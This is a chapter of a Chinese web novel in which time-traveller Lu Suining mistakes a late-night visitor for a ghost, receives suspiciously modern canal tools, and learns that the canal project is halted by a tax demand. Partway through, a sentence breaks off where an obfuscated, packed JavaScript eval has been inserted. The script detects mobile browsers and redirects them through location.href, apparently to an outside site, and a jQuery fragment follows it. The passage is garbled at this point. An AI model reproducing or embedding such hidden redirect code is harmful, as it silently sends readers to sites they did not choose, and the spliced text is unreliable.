13. 不是鬼,是人?

作品:《我靠种田名满天下

    “唔唔唔唔……”昭宜姐!有鬼!!!


    陆穗宁也被吓一跳,下意识捂着花小棘的嘴,怕她扰民,也怕她这一嗓子喊出来,鬼直接闪现在她面前,那多恐怖啊!虽然她不信鬼,但是穿越这种事都能出现,她再无神论者内心也还是会有些许动摇。


    陆穗宁拿起院子里的几条红柳枝,往前慢慢挪过去,脑海中不由浮现刚才听到的恐怖故事,细节一点点完善,激起了一身鸡皮疙瘩。


    “昭宜姐我害怕!”花小棘小声哆嗦,一双手扒在陆穗宁身上。


    “别突然扒拉我啊。”身后突然多一双手,吓陆穗宁一跳。转头一看发现是花小棘,忙抬手掰开花小棘爪子,很好扒拉不开,“小棘你先松手,我去看看外边儿怎么回事。”


    花小棘猛摇头,眼泪汪汪的就是死活不肯松手。


    “好吧好吧,不松也行,但是别全身都扒拉在我身上啊,我走不动道儿了。”陆穗宁努力拖动向前的脚步,只是障碍有点大,振腾好一会儿才走了不到一尺。


    “好了好了,什么鬼不鬼的,都是自己吓自己,没啥好怕的。”陆穗宁似乎在安慰花小棘,也似乎在安慰自己,拿出手中几条红柳枝塞到花小棘手上,“来,红柳枝给你几条,这玩意儿辟邪。”


    “呜呜呜。”花小棘看着手中红柳枝眼泪汪汪,感觉更怕了,没鬼为什么要辟啊啊啊啊!


    “嘘,别说话。”陆穗宁举着红柳枝,躲在门口前方小声说道。


    门外忽然响起一声异动,吓得花小棘一把攥紧陆穗宁手臂,力度大的差点把她手臂捏碎。


    陆穗宁闷哼一声,赶紧拯救自己手臂。


    “昭宜姐,外面是什么东西啊?”花小棘瑟瑟发抖,整个人都哆嗦起来。


    陆穗宁示意花小棘安静,仔细倾听外边儿声响,只是此刻外边儿安静得很,似乎刚才异动只是她们错觉。


    深呼一口气,陆穗宁打算直接将门打开。若是真有鬼,无论她开不开门都躲不掉,若是无鬼,那就查清楚是什么东西在作怪。


    只是木门还未打开,门外忽然响起一阵敲门声,吓两人一跳。


    敲门?是人?


    陆穗宁抚了抚胸口,吐出口浑浊之气后,猛地将门打开,一道人影猛地砸在地上,发出彭的一声,脸砸地,尘土飞扬。


    “哎哟~”男人捂住脸痛呼出声,这才从地上爬起来。


    “徐老四?”花小棘瞧着那有些眼熟的面孔,惊奇道,“你怎么过来了?”


    “小棘,可算找到你了。”徐四揉着脸颊,倒吸冷气道,“咦,疼死我了,话说你家也太难找了吧?”


    “这不是在村尾吗?难找正常,不过你怎么深更半夜过来啊?”花小棘有些奇怪。


    “本想先看看路线,明日再来找你,免得找错了。结果来回走了好几趟,死活找不到你家,跟了撞了鬼墙似得。”


    “鬼墙你知道吧?这玩意儿还是在你们村听故事听来的,别说,还真挺像。我来回走了两个多时辰死活找不到,好不容易瞧见一个很像你的背影跟着过来,结果中途一眨眼不见了,费了好大劲,可算找着你了。”徐四激动地说着。


    完了跑出院外,扛着靠在墙边一袋东西过来。


    “这是什么?”


    “这不是听说你们村要建那什么水渠嘛,我家中有些废置的工具,想着你们可能需要,就想拿过来给你们村用。不然一直丢着没人用,怕东西坏了。”徐四解开袋子里的东西说道,“这东西是我祖父留下来的,我祖父年轻时参与过水渠建设,后边儿水渠竣工后,他便拿着自己买的工具返乡,这才有我爹和我。”


    花小棘凑近一看,看不懂:“昭宜姐,这东西有用吗?”


    陆穗宁凑近一看,发现这些工具很先进,似乎不是这个时代该出现的东西,有些激动道:“这些工具,你祖父在哪买的?”


    徐四被吓一跳,有些莫名,挠挠头道:“不知道啊,我祖父没跟我讲过。”


    陆穗宁内心有些激动,是不是也有人穿到这个世界,所以才会出现这些工具?


    若是真的,那人此刻在何处?她回去了吗?


    陆穗宁按捺下激动的心情问道:“你祖父可在家中?”


    徐思闻言,眼神一暗:“我祖父他……已经不在了。”


    陆穗宁神情一证,这才恍然:“啊抱歉……我……”


    “没事,他在我年幼时便已不在,我都习惯了。”徐思挠头憨笑道。


    “若这工具能派上用场,我祖父想必会很开心,他在离开前便一直念叨着,这些陪了他半辈子的老家伙,若是能再用上一次此生便无憾了。”徐四将袋子递给陆穗宁,郑重道,“此刻虽迟了些,若有用处,还请你收下。”


    陆穗宁看着袋中的工具,神情怔愣。


    花小棘在一旁看的眼急,见昭宜姐久久不回应,赶紧出声道:“有用有用,我们正愁着要去找人定制工具呢,太感谢了,下次请你吃大餐。”


    “嗨,大餐就算了,能用上就好。”徐思挠挠脸,憨憨道,“那我先回去了。”


    “这般晚回去?可有地方住?”花小棘有些担忧,“要不你去我家住,我在昭宜姐挤一晚上?”虽说她今晚本来就不打算回去睡。


    徐四家离此处有些远,来回需一个时辰,这般晚回去怕他遭遇不测,出事没人知。


    “没事,我来回习惯了。”徐四说罢,“走了哈。”


    不等花小棘出声,便脚底抹油溜走了。


    陆穗宁问道:“小棘,他这么晚回去,无事吧?”


    毕竟是好心来送工具,若是回去途中出事,她唯恐内心不安,往后日夜难眠。


    “没事,他都说他习惯了,出不了事。”花小棘见人都走了,也不纠结,便道,“昭宜姐,我们回去睡觉吧,这折腾的,吓死人,幸好无事发生。”


    陆穗宁仍有些担忧,看了眼天远处还算明亮的夜色,应道:“好,那便回去吧。”


    两人将工具搬回院内,将门一锁,便回去睡觉了。


    次日清晨,一夜无眠,陆穗宁扒拉开搭在她身上大腿,看了眼睡的四仰八叉的花小棘,无奈笑了一下,便起床开始收拾袋子里的工具。


    昨夜匆匆一撇,只惊觉此些工具先进,今日翻出一瞧,何止先进,简直与她所想古代改进版并无不同。


    陆穗宁越想越觉惊悚,将各种工具收拾好,这才按捺下混乱繁杂的思绪。


    无论是何种情况,她既穿前做了无数次与粮仓建设有关


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433211|169264||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的梦境,那回家必然与此有关联。一切待粮仓建成,便可知。她目前最紧要的事,还是水渠建设!


    村中红柳筐编织的差不多,此刻可开始下一步动作。


    方圆村离得最近的山是远麓山,只是此山石材并不适合用来建设水渠,还得是玉龙河旁五公里外的慕远山上的石灰岩与花岗岩更合适些。


    前段时日,里正已经安排村里人去慕远山准备土石,待准备完毕,便可开启施工。


    而她明日,便可带人去标定渠道线路,清除地表植被。


    玉龙河到方圆村一路沙土颇多,植被却并不多,地表植物清理倒显得容易些,只是立标杆或许需多花费些时日。


    陆穗宁拿着宣纸和毛笔在纸上勾勾画画,明日她便要带人去清理植被和立标杆,此刻需规划好明日所需人手和器具,免得明日紧急召唤人手却无人可用。


    毕竟大家都不闲,不是要耕种赚钱就是为生活奔波劳碌。建水渠也不过是忙上加忙,为了生活能好过些才参与罢了。


    只是陆穗宁安排好所需人手,到了里正家才发现大家近日都没空参与水渠建设。


    “里正叔,明日真不能安排几个人去清理植被和立标杆?”陆穗宁捏紧手中宣纸,皱眉问道,“也不需多,给我五个人便可,男女都行,只有能干活儿就行。”


    先前还想要几个身强力壮的汉子,现下也顾不得挑了,有人就成。


    只是她现下要这五人,也没得。


    “陆丫头啊,不是我不想给你人,实在是近日大家都没空,今日连土石大家都没空去弄。我本打算去跟你讲一声,水渠建设估计要往后延一段时日,碰巧你上门便与你讲了。”


    “为什么啊?昨天不还好好的吗?”陆穗宁有些不解,满脸疑惑。


    “这事说来话长,我就长话短说了。”里正叹了口气道,“今日清晨听闻有位官员过段时日要从京城来,说是要查赋税,说我们村今日赋税没交够,让大家凑齐交上去。”


    “可往年就是交七成赋税,却不想他一来就要交八成赋税,那剩下的一成赋税大家如何能拿的出来。没办法,大伙儿就只能先停下活儿,去凑那一成赋税交上去。”


    “可怎么凑也不成,还是差一些才够,我这愁的啊,都喘不过气来。”里正锤了锤自己胸口,呼出一口浊气,叹息道。


    “竟有这事?”陆穗宁闻言惊讶道,她怎的没听说过?


    “你没听说?”里正有些惊奇,“我让人与每一户村民都讲了,你今早不在家?”


    “在啊,我今日一整个清晨都在家中。”陆穗宁闻言也觉得奇怪,她今日也没见着有人来找她啊,昨夜倒是误以为徐四是鬼被吓了一跳。


    难道是她今日清晨思考问题太专注,没听见屋外敲门的声音,所以才没人跟她讲?


    “不应该啊,难道是大家都以为你知道了,所以才没跟你讲?小棘应该也会与你说一声的啊。”里正挠了挠脑袋,有些不解,“算了,先不说这个。村里近日应该会暂停水渠建设准备工作,待时机合适再继续。”


    “也不知那官员什么时候来视察,搞的人心惶惶的,实在是让人难以入眠。”里正脸上发愁,忍不住又叹息了一声,“这赋税征收是越发严重了。”